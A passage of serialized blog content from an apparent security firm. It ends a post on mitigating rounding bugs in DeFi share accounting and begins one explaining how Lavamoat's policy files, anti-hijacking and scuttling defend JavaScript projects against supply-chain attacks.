Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[48530],{"type":23,"tag":71,"props":48531,"children":48532},{"__ignoreMap":7},[48533,48557,48604,48638],{"type":23,"tag":230,"props":48534,"children":48535},{"class":232,"line":233},[48536,48540,48545,48549,48553],{"type":23,"tag":230,"props":48537,"children":48538},{"style":866},[48539],{"type":29,"value":17904},{"type":23,"tag":230,"props":48541,"children":48542},{"style":274},[48543],{"type":29,"value":48544}," (_totalSupply ",{"type":23,"tag":230,"props":48546,"children":48547},{"style":268},[48548],{"type":29,"value":10911},{"type":23,"tag":230,"props":48550,"children":48551},{"style":5149},[48552],{"type":29,"value":5386},{"type":23,"tag":230,"props":48554,"children":48555},{"style":274},[48556],{"type":29,"value":827},{"type":23,"tag":230,"props":48558,"children":48559},{"class":232,"line":243},[48560,48565,48569,48574,48579,48584,48589,48594,48599],{"type":23,"tag":230,"props":48561,"children":48562},{"style":274},[48563],{"type":29,"value":48564},"    liquidity ",{"type":23,"tag":230,"props":48566,"children":48567},{"style":268},[48568],{"type":29,"value":863},{"type":23,"tag":230,"props":48570,"children":48571},{"style":274},[48572],{"type":29,"value":48573}," Math.",{"type":23,"tag":230,"props":48575,"children":48576},{"style":294},[48577],{"type":29,"value":48578},"sqrt",{"type":23,"tag":230,"props":48580,"children":48581},{"style":274},[48582],{"type":29,"value":48583},"(amount0.",{"type":23,"tag":230,"props":48585,"children":48586},{"style":294},[48587],{"type":29,"value":48588},"mul",{"type":23,"tag":230,"props":48590,"children":48591},{"style":274},[48592],{"type":29,"value":48593},"(amount1)).",{"type":23,"tag":230,"props":48595,"children":48596},{"style":294},[48597],{"type":29,"value":48598},"sub",{"type":23,"tag":230,"props":48600,"children":48601},{"style":274},[48602],{"type":29,"value":48603},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":230,"props":48605,"children":48606},{"class":232,"line":252},[48607,48612,48616,48620,48624,48628,48633],{"type":23,"tag":230,"props":48608,"children":48609},{"style":294},[48610],{"type":29,"value":48611},"   _mint",{"type":23,"tag":230,"props":48613,"children":48614},{"style":274},[48615],{"type":29,"value":302},{"type":23,"tag":230,"props":48617,"children":48618},{"style":676},[48619],{"type":29,"value":34933},{"type":23,"tag":230,"props":48621,"children":48622},{"style":274},[48623],{"type":29,"value":302},{"type":23,"tag":230,"props":48625,"children":48626},{"style":5149},[48627],{"type":29,"value":6358},{"type":23,"tag":230,"props":48629,"children":48630},{"style":274},[48631],{"type":29,"value":48632},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":230,"props":48634,"children":48635},{"style":237},[48636],{"type":29,"value":48637},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":230,"props":48639,"children":48640},{"class":232,"line":280},[48641,48646,48650],{"type":23,"tag":230,"props":48642,"children":48643},{"style":274},[48644],{"type":29,"value":48645},"} ",{"type":23,"tag":230,"props":48647,"children":48648},{"style":866},[48649],{"type":29,"value":5654},{"type":23,"tag":230,"props":48651,"children":48652},{"style":274},[48653],{"type":29,"value":277},{"type":23,"tag":32,"props":48655,"children":48656},{},[48657,48659,48666],{"type":29,"value":48658},"Alternatively, ",{"type":23,"tag":181,"props":48660,"children":48663},{"href":48661,"rel":48662},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[185],[48664],{"type":29,"value":48665},"storing the conversion rate separately",{"type":29,"value":48667}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":220,"props":48669,"children":48671},{"className":6813,"code":48670,"language":6812,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[48672],{"type":23,"tag":71,"props":48673,"children":48674},{"__ignoreMap":7},[48675,48710],{"type":23,"tag":230,"props":48676,"children":48677},{"class":232,"line":233},[48678,48683,48687,48692,48696,48701,48705],{"type":23,"tag":230,"props":48679,"children":48680},{"style":274},[48681],{"type":29,"value":48682},"accrualIndices.borrowed ",{"type":23,"tag":230,"props":48684,"children":48685},{"style":268},[48686],{"type":29,"value":863},{"type":23,"tag":230,"props":48688,"children":48689},{"style":274},[48690],{"type":29,"value":48691}," accrualIndices.borrowed ",{"type":23,"tag":230,"props":48693,"children":48694},{"style":268},[48695],{"type":29,"value":6909},{"type":23,"tag":230,"props":48697,"children":48698},{"style":274},[48699],{"type":29,"value":48700}," borrowInterestFactor ",{"type":23,"tag":230,"props":48702,"children":48703},{"style":268},[48704],{"type":29,"value":6919},{"type":23,"tag":230,"props":48706,"children":48707},{"style":274},[48708],{"type":29,"value":48709}," precision;\n",{"type":23,"tag":230,"props":48711,"children":48712},{"class":232,"line":243},[48713,48718,48722,48727,48731,48736,48740],{"type":23,"tag":230,"props":48714,"children":48715},{"style":274},[48716],{"type":29,"value":48717},"accrualIndices.deposited ",{"type":23,"tag":230,"props":48719,"children":48720},{"style":268},[48721],{"type":29,"value":863},{"type":23,"tag":230,"props":48723,"children":48724},{"style":274},[48725],{"type":29,"value":48726}," accrualIndices.deposited ",{"type":23,"tag":230,"props":48728,"children":48729},{"style":268},[48730],{"type":29,"value":6909},{"type":23,"tag":230,"props":48732,"children":48733},{"style":274},[48734],{"type":29,"value":48735}," depositInterestFactor ",{"type":23,"tag":230,"props":48737,"children":48738},{"style":268},[48739],{"type":29,"value":6919},{"type":23,"tag":230,"props":48741,"children":48742},{"style":274},[48743],{"type":29,"value":48709},{"type":23,"tag":32,"props":48745,"children":48746},{},[48747],{"type":29,"value":48748},"We also want to note some general takeaways:",{"type":23,"tag":32,"props":48750,"children":48751},{},[48752,48754,48759],{"type":29,"value":48753},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":2258,"props":48755,"children":48756},{},[48757],{"type":29,"value":48758},"apply the state changes and check the invariant",{"type":29,"value":312},{"type":23,"tag":32,"props":48761,"children":48762},{},[48763],{"type":29,"value":48764},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":32,"props":48766,"children":48767},{},[48768],{"type":29,"value":48769},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":24,"props":48771,"children":48772},{"id":5163},[48773],{"type":29,"value":5166},{"type":23,"tag":32,"props":48775,"children":48776},{},[48777],{"type":29,"value":48778},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":32,"props":48780,"children":48781},{},[48782],{"type":29,"value":48783},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":5178,"props":48785,"children":48786},{},[48787],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":48789},[48790,48791,48792,48796,48797,48798],{"id":31322,"depth":243,"text":31325},{"id":47712,"depth":243,"text":47715},{"id":47831,"depth":243,"text":47834,"children":48793},[48794,48795],{"id":47842,"depth":252,"text":47845},{"id":47880,"depth":252,"text":47883},{"id":48438,"depth":243,"text":48441},{"id":48503,"depth":243,"text":48506},{"id":5163,"depth":243,"text":5166},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":48803,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48804,"description":48805,"author":48806,"image":48807,"date":48809,"isFeatured":18,"onBlogPage":18,"body":48810,"_type":5202,"_id":52290,"_source":5204,"_file":52291,"_stem":52292,"_extension":5207},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[11,12],{"src":48808},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":48811,"toc":52269},[48812,48816,48837,48842,48846,48851,48890,48896,48911,48929,48934,48939,48944,48957,49264,49290,49303,49308,49313,49327,49332,49345,49359,49590,49611,49646,49652,49657,49662,49876,49897,49903,49915,50005,50027,50063,50071,50089,50346,50372,50378,50392,50590,50609,51016,51029,51035,51054,51147,51152,51158,51171,51184,51270,51276,51288,51373,51385,51398,51404,51409,51423,51750,51755,51760,51766,51792,51847,51867,51920,51926,51931,51950,51961,52155,52161,52184,52190,52195,52208,52213,52218,52222,52227,52235,52265],{"type":23,"tag":24,"props":48813,"children":48814},{"id":26},[48815],{"type":29,"value":30},{"type":23,"tag":32,"props":48817,"children":48818},{},[48819,48826,48828,48835],{"type":23,"tag":181,"props":48820,"children":48823},{"href":48821,"rel":48822},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[185],[48824],{"type":29,"value":48825},"Supply chain",{"type":29,"value":48827}," attacks are becoming ",{"type":23,"tag":181,"props":48829,"children":48832},{"href":48830,"rel":48831},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[185],[48833],{"type":29,"value":48834},"increasingly popular in Web3",{"type":29,"value":48836},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":32,"props":48838,"children":48839},{},[48840],{"type":29,"value":48841},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":59,"props":48843,"children":48844},{"id":31322},[48845],{"type":29,"value":31325},{"type":23,"tag":32,"props":48847,"children":48848},{},[48849],{"type":29,"value":48850},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":144,"props":48852,"children":48853},{},[48854,48866,48878],{"type":23,"tag":102,"props":48855,"children":48856},{},[48857,48864],{"type":23,"tag":181,"props":48858,"children":48861},{"href":48859,"rel":48860},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[185],[48862],{"type":29,"value":48863},"Lavamoat Browserify",{"type":29,"value":48865}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":102,"props":48867,"children":48868},{},[48869,48876],{"type":23,"tag":181,"props":48870,"children":48873},{"href":48871,"rel":48872},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[185],[48874],{"type":29,"value":48875},"NodeJS Lavamoat",{"type":29,"value":48877}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":102,"props":48879,"children":48880},{},[48881,48888],{"type":23,"tag":181,"props":48882,"children":48885},{"href":48883,"rel":48884},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[185],[48886],{"type":29,"value":48887},"Lavamoat allow-scripts",{"type":29,"value":48889}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":59,"props":48891,"children":48893},{"id":48892},"lavamoats-security-features",[48894],{"type":29,"value":48895},"Lavamoat's Security Features",{"type":23,"tag":32,"props":48897,"children":48898},{},[48899,48901,48909],{"type":29,"value":48900},"The three most important features of Lavamoat",{"type":23,"tag":17798,"props":48902,"children":48903},{},[48904],{"type":23,"tag":181,"props":48905,"children":48907},{"href":31931,"ariaDescribedBy":48906,"dataFootnoteRef":7,"id":31933},[17805],[48908],{"type":29,"value":6348},{"type":29,"value":48910}," are:",{"type":23,"tag":98,"props":48912,"children":48913},{},[48914,48919,48924],{"type":23,"tag":102,"props":48915,"children":48916},{},[48917],{"type":29,"value":48918},"Policy Files",{"type":23,"tag":102,"props":48920,"children":48921},{},[48922],{"type":29,"value":48923},"NPM Anti Hijacking",{"type":23,"tag":102,"props":48925,"children":48926},{},[48927],{"type":29,"value":48928},"Scuttling",{"type":23,"tag":32,"props":48930,"children":48931},{},[48932],{"type":29,"value":48933},"Let's go over them one by one.",{"type":23,"tag":192,"props":48935,"children":48937},{"id":48936},"policy-files",[48938],{"type":29,"value":48918},{"type":23,"tag":32,"props":48940,"children":48941},{},[48942],{"type":29,"value":48943},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":32,"props":48945,"children":48946},{},[48947,48949,48956],{"type":29,"value":48948},"For example, take the ",{"type":23,"tag":181,"props":48950,"children":48953},{"href":48951,"rel":48952},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[185],[48954],{"type":29,"value":48955},"Metamask Snap policy file",{"type":29,"value":218},{"type":23,"tag":220,"props":48958,"children":48960},{"className":33669,"code":48959,"language":33671,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[48961],{"type":23,"tag":71,"props":48962,"children":48963},{"__ignoreMap":7},[48964,48976,48991,49011,49030,49050,49070,49090,49110,49130,49151,49171,49190,49206,49213,49228,49248],{"type":23,"tag":230,"props":48965,"children":48966},{"class":232,"line":233},[48967,48972],{"type":23,"tag":230,"props":48968,"children":48969},{"style":380},[48970],{"type":29,"value":48971},"   \"@metamask/providers\"",{"type":23,"tag":230,"props":48973,"children":48974},{"style":274},[48975],{"type":29,"value":1697},{"type":23,"tag":230,"props":48977,"children":48978},{"class":232,"line":243},[48979,48983,48987],{"type":23,"tag":230,"props":48980,"children":48981},{"style":380},[48982],{"type":29,"value":1705},{"type":23,"tag":230,"props":48984,"children":48985},{"style":262},[48986],{"type":29,"value":218},{"type":23,"tag":230,"props":48988,"children":48989},{"style":274},[48990],{"type":29,"value":277},{"type":23,"tag":230,"props":48992,"children":48993},{"class":232,"line":252},[48994,48999,49003,49007],{"type":23,"tag":230,"props":48995,"children":48996},{"style":380},[48997],{"type":29,"value":48998},"        \"Event\"",{"type":23,"tag":230,"props":49000,"children":49001},{"style":262},[49002],{"type":29,"value":218},{"type":23,"tag":230,"props":49004,"children":49005},{"style":256},[49006],{"type":29,"value":14799},{"type":23,"tag":230,"props":49008,"children":49009},{"style":274},[49010],{"type":29,"value":388},{"type":23,"tag":230,"props":49012,"children":49013},{"class":232,"line":280},[49014,49018,49022,49026],{"type":23,"tag":230,"props":49015,"children":49016},{"style":380},[49017],{"type":29,"value":1758},{"type":23,"tag":230,"props":49019,"children":49020},{"style":262},[49021],{"type":29,"value":218},{"type":23,"tag":230,"props":49023,"children":49024},{"style":256},[49025],{"type":29,"value":14799},{"type":23,"tag":230,"props":49027,"children":49028},{"style":274},[49029],{"type":29,"value":388},{"type":23,"tag":230,"props":49031,"children":49032},{"class":232,"line":334},[49033,49038,49042,49046],{"type":23,"tag":230,"props":49034,"children":49035},{"style":380},[49036],{"type":29,"value":49037},"        \"chrome.runtime.connect\"",{"type":23,"tag":230,"props":49039,"children":49040},{"style":262},[49041],{"type":29,"value":218},{"type":23,"tag":230,"props":49043,"children":49044},{"style":256},[49045],{"type":29,"value":14799},{"type":23,"tag":230,"props":49047,"children":49048},{"style":274},[49049],{"type":29,"value":388},{"type":23,"tag":230,"props":49051,"children":49052},{"class":232,"line":371},[49053,49058,49062,49066],{"type":23,"tag":230,"props":49054,"children":49055},{"style":380},[49056],{"type":29,"value":49057},"        \"console\"",{"type":23,"tag":230,"props":49059,"children":49060},{"style":262},[49061],{"type":29,"value":218},{"type":23,"tag":230,"props":49063,"children":49064},{"style":256},[49065],{"type":29,"value":14799},{"type":23,"tag":230,"props":49067,"children":49068},{"style":274},[49069],{"type":29,"value":388},{"type":23,"tag":230,"props":49071,"children":49072},{"class":232,"line":391},[49073,49078,49082,49086],{"type":23,"tag":230,"props":49074,"children":49075},{"style":380},[49076],{"type":29,"value":49077},"        \"dispatchEvent\"",{"type":23,"tag":230,"props":49079,"children":49080},{"style":262},[49081],{"type":29,"value":218},{"type":23,"tag":230,"props":49083,"children":49084},{"style":256},[49085],{"type":29,"value":14799},{"type":23,"tag":230,"props":49087,"children":49088},{"style":274},[49089],{"type":29,"value":388},{"type":23,"tag":230,"props":49091,"children":49092},{"class":232,"line":400},[49093,49098,49102,49106],{"type":23,"tag":230,"props":49094,"children":49095},{"style":380},[49096],{"type":29,"value":49097},"        \"document.createElement\"",{"type":23,"tag":230,"props":49099,"children":49100},{"style":262},[49101],{"type":29,"value":218},{"type":23,"tag":230,"props":49103,"children":49104},{"style":256},[49105],{"type":29,"value":14799},{"type":23,"tag":230,"props":49107,"children":49108},{"style":274},[49109],{"type":29,"value":388},{"type":23,"tag":230,"props":49111,"children":49112},{"class":232,"line":444},[49113,49118,49122,49126],{"type":23,"tag":230,"props":49114,"children":49115},{"style":380},[49116],{"type":29,"value":49117},"        \"document.readyState\"",{"type":23,"tag":230,"props":49119,"children":49120},{"style":262},[49121],{"type":29,"value":218},{"type":23,"tag":230,"props":49123,"children":49124},{"style":256},[49125],{"type":29,"value":14799},{"type":23,"tag":230,"props":49127,"children":49128},{"style":274},[49129],{"type":29,"value":388},{"type":23,"tag":230,"props":49131,"children":49132},{"class":232,"line":453},[49133,49138,49142,49147],{"type":23,"tag":230,"props":49134,"children":49135},{"style":380},[49136],{"type":29,"value":49137},"        \"ethereum\"",{"type":23,"tag":230,"props":49139,"children":49140},{"style":262},[49141],{"type":29,"value":218},{"type":23,"tag":230,"props":49143,"children":49144},{"style":380},[49145],{"type":29,"value":49146}," \"write\"",{"type":23,"tag":230,"props":49148,"children":49149},{"style":274},[49150],{"type":29,"value":388},{"type":23,"tag":230,"props":49152,"children":49153},{"class":232,"line":462},[49154,49159,49163,49167],{"type":23,"tag":230,"props":49155,"children":49156},{"style":380},[49157],{"type":29,"value":49158},"        \"location.hostname\"",{"type":23,"tag":230,"props":49160,"children":49161},{"style":262},[49162],{"type":29,"value":218},{"type":23,"tag":230,"props":49164,"children":49165},{"style":256},[49166],{"type":29,"value":14799},{"type":23,"tag":230,"props":49168,"children":49169},{"style":274},[49170],{"type":29,"value":388},{"type":23,"tag":230,"props":49172,"children":49173},{"class":232,"line":471},[49174,49178,49182,49186],{"type":23,"tag":230,"props":49175,"children":49176},{"style":380},[49177],{"type":29,"value":1858},{"type":23,"tag":230,"props":49179,"children":49180},{"style":262},[49181],{"type":29,"value":218},{"type":23,"tag":230,"props":49183,"children":49184},{"style":256},[49185],{"type":29,"value":14799},{"type":23,"tag":230,"props":49187,"children":49188},{"style":274},[49189],{"type":29,"value":388},{"type":23,"tag":230,"props":49191,"children":49192},{"class":232,"line":500},[49193,49198,49202],{"type":23,"tag":230,"props":49194,"children":49195},{"style":380},[49196],{"type":29,"value":49197},"        \"web3\"",{"type":23,"tag":230,"props":49199,"children":49200},{"style":262},[49201],{"type":29,"value":218},{"type":23,"tag":230,"props":49203,"children":49204},{"style":256},[49205],{"type":29,"value":48320},{"type":23,"tag":230,"props":49207,"children":49208},{"class":232,"line":514},[49209],{"type":23,"tag":230,"props":49210,"children":49211},{"style":274},[49212],{"type":29,"value":1875},{"type":23,"tag":230,"props":49214,"children":49215},{"class":232,"line":897},[49216,49220,49224],{"type":23,"tag":230,"props":49217,"children":49218},{"style":380},[49219],{"type":29,"value":1883},{"type":23,"tag":230,"props":49221,"children":49222},{"style":262},[49223],{"type":29,"value":218},{"type":23,"tag":230,"props":49225,"children":49226},{"style":274},[49227],{"type":29,"value":277},{"type":23,"tag":230,"props":49229,"children":49230},{"class":232,"line":960},[49231,49236,49240,49244],{"type":23,"tag":230,"props":49232,"children":49233},{"style":380},[49234],{"type":29,"value":49235},"        \"@metamask/object-multiplex\"",{"type":23,"tag":230,"props":49237,"children":49238},{"style":262},[49239],{"type":29,"value":218},{"type":23,"tag":230,"props":49241,"children":49242},{"style":256},[49243],{"type":29,"value":14799},{"type":23,"tag":230,"props":49245,"children":49246},{"style":274},[49247],{"type":29,"value":388},{"type":23,"tag":230,"props":49249,"children":49250},{"class":232,"line":969},[49251,49256,49260],{"type":23,"tag":230,"props":49252,"children":49253},{"style":380},[49254],{"type":29,"value":49255},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":230,"props":49257,"children":49258},{"style":262},[49259],{"type":29,"value":218},{"type":23,"tag":230,"props":49261,"children":49262},{"style":256},[49263],{"type":29,"value":48320},{"type":23,"tag":32,"props":49265,"children":49266},{},[49267,49268,49273,49275,49280,49282,49288],{"type":29,"value":980},{"type":23,"tag":71,"props":49269,"children":49271},{"className":49270},[],[49272],{"type":29,"value":1949},{"type":29,"value":49274}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":71,"props":49276,"children":49278},{"className":49277},[],[49279],{"type":29,"value":1957},{"type":29,"value":49281}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":71,"props":49283,"children":49285},{"className":49284},[],[49286],{"type":29,"value":49287},"@metamask/providers",{"type":29,"value":49289}," interacts with other packages.",{"type":23,"tag":32,"props":49291,"children":49292},{},[49293,49295,49301],{"type":29,"value":49294},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":71,"props":49296,"children":49298},{"className":49297},[],[49299],{"type":29,"value":49300},"lavapack",{"type":29,"value":49302},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":192,"props":49304,"children":49306},{"id":49305},"npm-anti-hijacking",[49307],{"type":29,"value":48923},{"type":23,"tag":32,"props":49309,"children":49310},{},[49311],{"type":29,"value":49312},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":32,"props":49314,"children":49315},{},[49316,49318,49325],{"type":29,"value":49317},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":181,"props":49319,"children":49322},{"href":49320,"rel":49321},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[185],[49323],{"type":29,"value":49324},"walking the modules",{"type":29,"value":49326}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":192,"props":49328,"children":49330},{"id":49329},"scuttling",[49331],{"type":29,"value":48928},{"type":23,"tag":32,"props":49333,"children":49334},{},[49335,49337,49343],{"type":29,"value":49336},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":71,"props":49338,"children":49340},{"className":49339},[],[49341],{"type":29,"value":49342},"GlobalThis",{"type":29,"value":49344}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":32,"props":49346,"children":49347},{},[49348,49350,49357],{"type":29,"value":49349},"For example, ",{"type":23,"tag":181,"props":49351,"children":49354},{"href":49352,"rel":49353},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[185],[49355],{"type":29,"value":49356},"here",{"type":29,"value":49358}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":220,"props":49360,"children":49362},{"className":33669,"code":49361,"language":33671,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[49363],{"type":23,"tag":71,"props":49364,"children":49365},{"__ignoreMap":7},[49366,49395,49445,49504,49511,49583],{"type":23,"tag":230,"props":49367,"children":49368},{"class":232,"line":233},[49369,49373,49377,49382,49386,49391],{"type":23,"tag":230,"props":49370,"children":49371},{"style":866},[49372],{"type":29,"value":1493},{"type":23,"tag":230,"props":49374,"children":49375},{"style":274},[49376],{"type":29,"value":664},{"type":23,"tag":230,"props":49378,"children":49379},{"style":262},[49380],{"type":29,"value":49381},"scuttleOpts",{"type":23,"tag":230,"props":49383,"children":49384},{"style":274},[49385],{"type":29,"value":312},{"type":23,"tag":230,"props":49387,"children":49388},{"style":262},[49389],{"type":29,"value":49390},"enabled",{"type":23,"tag":230,"props":49392,"children":49393},{"style":274},[49394],{"type":29,"value":827},{"type":23,"tag":230,"props":49396,"children":49397},{"class":232,"line":243},[49398,49402,49406,49410,49415,49419,49424,49428,49432,49436,49441],{"type":23,"tag":230,"props":49399,"children":49400},{"style":866},[49401],{"type":29,"value":3992},{"type":23,"tag":230,"props":49403,"children":49404},{"style":274},[49405],{"type":29,"value":664},{"type":23,"tag":230,"props":49407,"children":49408},{"style":268},[49409],{"type":29,"value":22936},{"type":23,"tag":230,"props":49411,"children":49412},{"style":262},[49413],{"type":29,"value":49414},"Array",{"type":23,"tag":230,"props":49416,"children":49417},{"style":274},[49418],{"type":29,"value":312},{"type":23,"tag":230,"props":49420,"children":49421},{"style":294},[49422],{"type":29,"value":49423},"isArray",{"type":23,"tag":230,"props":49425,"children":49426},{"style":274},[49427],{"type":29,"value":302},{"type":23,"tag":230,"props":49429,"children":49430},{"style":262},[49431],{"type":29,"value":49381},{"type":23,"tag":230,"props":49433,"children":49434},{"style":274},[49435],{"type":29,"value":312},{"type":23,"tag":230,"props":49437,"children":49438},{"style":262},[49439],{"type":29,"value":49440},"exceptions",{"type":23,"tag":230,"props":49442,"children":49443},{"style":274},[49444],{"type":29,"value":37480},{"type":23,"tag":230,"props":49446,"children":49447},{"class":232,"line":252},[49448,49453,49457,49461,49465,49470,49474,49478,49483,49487,49491,49495,49500],{"type":23,"tag":230,"props":49449,"children":49450},{"style":866},[49451],{"type":29,"value":49452},"        throw",{"type":23,"tag":230,"props":49454,"children":49455},{"style":256},[49456],{"type":29,"value":291},{"type":23,"tag":230,"props":49458,"children":49459},{"style":294},[49460],{"type":29,"value":5034},{"type":23,"tag":230,"props":49462,"children":49463},{"style":274},[49464],{"type":29,"value":302},{"type":23,"tag":230,"props":49466,"children":49467},{"style":380},[49468],{"type":29,"value":49469},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":230,"props":49471,"children":49472},{"style":256},[49473],{"type":29,"value":632},{"type":23,"tag":230,"props":49475,"children":49476},{"style":256},[49477],{"type":29,"value":33707},{"type":23,"tag":230,"props":49479,"children":49480},{"style":262},[49481],{"type":29,"value":49482}," scuttleOpts",{"type":23,"tag":230,"props":49484,"children":49485},{"style":268},[49486],{"type":29,"value":312},{"type":23,"tag":230,"props":49488,"children":49489},{"style":262},[49490],{"type":29,"value":49440},{"type":23,"tag":230,"props":49492,"children":49493},{"style":256},[49494],{"type":29,"value":642},{"type":23,"tag":230,"props":49496,"children":49497},{"style":380},[49498],{"type":29,"value":49499},"\"`",{"type":23,"tag":230,"props":49501,"children":49502},{"style":274},[49503],{"type":29,"value":4516},{"type":23,"tag":230,"props":49505,"children":49506},{"class":232,"line":280},[49507],{"type":23,"tag":230,"props":49508,"children":49509},{"style":274},[49510],{"type":29,"value":1931},{"type":23,"tag":230,"props":49512,"children":49513},{"class":232,"line":334},[49514,49519,49523,49528,49532,49537,49541,49546,49550,49555,49559,49563,49567,49571,49575,49579],{"type":23,"tag":230,"props":49515,"children":49516},{"style":262},[49517],{"type":29,"value":49518},"      scuttleOpts",{"type":23,"tag":230,"props":49520,"children":49521},{"style":274},[49522],{"type":29,"value":312},{"type":23,"tag":230,"props":49524,"children":49525},{"style":294},[49526],{"type":29,"value":49527},"scuttlerFunc",{"type":23,"tag":230,"props":49529,"children":49530},{"style":274},[49531],{"type":29,"value":302},{"type":23,"tag":230,"props":49533,"children":49534},{"style":262},[49535],{"type":29,"value":49536},"globalRef",{"type":23,"tag":230,"props":49538,"children":49539},{"style":274},[49540],{"type":29,"value":684},{"type":23,"tag":230,"props":49542,"children":49543},{"style":262},[49544],{"type":29,"value":49545},"realm",{"type":23,"tag":230,"props":49547,"children":49548},{"style":256},[49549],{"type":29,"value":30060},{"type":23,"tag":230,"props":49551,"children":49552},{"style":294},[49553],{"type":29,"value":49554}," performScuttleGlobalThis",{"type":23,"tag":230,"props":49556,"children":49557},{"style":274},[49558],{"type":29,"value":302},{"type":23,"tag":230,"props":49560,"children":49561},{"style":262},[49562],{"type":29,"value":49545},{"type":23,"tag":230,"props":49564,"children":49565},{"style":274},[49566],{"type":29,"value":684},{"type":23,"tag":230,"props":49568,"children":49569},{"style":262},[49570],{"type":29,"value":49381},{"type":23,"tag":230,"props":49572,"children":49573},{"style":274},[49574],{"type":29,"value":312},{"type":23,"tag":230,"props":49576,"children":49577},{"style":262},[49578],{"type":29,"value":49440},{"type":23,"tag":230,"props":49580,"children":49581},{"style":274},[49582],{"type":29,"value":22026},{"type":23,"tag":230,"props":49584,"children":49585},{"class":232,"line":371},[49586],{"type":23,"tag":230,"props":49587,"children":49588},{"style":274},[49589],{"type":29,"value":1552},{"type":23,"tag":32,"props":49591,"children":49592},{},[49593,49595,49601,49603,49609],{"type":29,"value":49594},"Subsequently, the code defines a 